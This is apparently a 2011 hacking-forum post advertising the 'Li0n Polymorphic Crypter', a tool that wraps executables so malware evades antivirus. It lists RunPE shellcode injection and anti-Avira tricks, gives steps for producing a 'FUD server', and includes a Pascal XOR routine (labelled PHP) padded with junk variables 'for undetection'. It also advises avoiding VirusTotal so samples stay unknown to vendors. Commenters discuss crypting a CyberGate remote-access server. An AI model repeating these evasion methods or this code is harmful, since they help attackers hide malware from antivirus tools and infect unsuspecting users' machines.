Li0n Polymorphic Crypter V1.2

Coded by: Li0n coder

[\[img\]http://i.minus.com/iCtf9yu2VVz6l.png\[/img\]](#)

[DOWNLOAD Li0nCrypiter v1.2\[0/35\]](#)

[DOWNLOAD Li0nCrypiter v1.1](#)

[DOWNLOAD Li0nCrypiter v1.0](#)

How to use Li0n Polymorphic Crypter !!?

- 1.Open the Crypter and select the files you like to Crypt
- 2.Binder will generate Output.dpr
- 3.Copy Output.dpr to compiler folder
- 4.Click build
- 5.Output.exe will be generated
- 6.And Enjoy Your FUD Server

Features:

Rewritten runpe function

Now you can control the encryption loop, if you file detected , try to crypt again or increase the number of Target file encryption loop (try not to use large number -above 20000- especially if your target file is big)

Crypt almost any exe file.

Fully customizable stub.

Fix PI 2.3.2 for win 7 option.

Uses shellcode version of RunPE.

Write target file to stub directly.

Every output is unique.

Support Win OS [XP,Vista,7,8] 32bit & 64bit.

no resource or end of file use, bye avira

it should be FUD for ever as long as you update decryption function and add some anti-emulator code

How to FUD Li0n Crypter v1.2 Manually :

First download Li0n Crypter v1.2 and extract it

After extracting go to "Compiler" folder

Now open file "functions.pas" with notepad

Then go to bottom and replace code

PHP Code

```
<?php
Function DataEncrypt(Data:String;key:Integer):String;
var
l: integer;
useless:string;//for undetection
uselessXX:string;//for undetection
begin
  useless := 'jj';
  uselessXX := 'jj';
  useless := useless + uselessXX;
  for l := 1 to length(Data) do
  begin
    Data[l] := chr(ord(Data[l]) xor key);
    useless := 'oijvwoj';
    useless := useless + uselessXX;
  end;
  Result := Data;
  uselessXX:= 'yrrrsss';
end;
```

Or you can change or add some own code :)

Don't scan on virustotal because they give out the file and make it become detected..? Before you go saying shit, learn.

When people refer to polymorphic crypters here, it's different. Most are labeled polymorphic, and really aren't true "polymorphic crypters," but it's more of a slang term here. So you're the noob, not me. And he says don't scan on virustotal because they submit your virus.

uitham - November 9, 2011, 12:15 am

I used 1.0 because I can't do surveys

So I crypted my server and compiled it, but when I ran it sandboxed, nothing happened.

Then I analyzed it on anubis, but it told me the process crashed.

Is this supposed to happen?

The server was generated with cybergate, what setting should I use for that?

I am guessing the .dpr is actually the exe?

wonderfulife - November 12, 2011, 3:05 am

Does it can get for free? I click the download link and click regular download, but I said to a query.

BreastMilk - November 12, 2011, 2:03 pm

I doubt this is actually polymorphic.
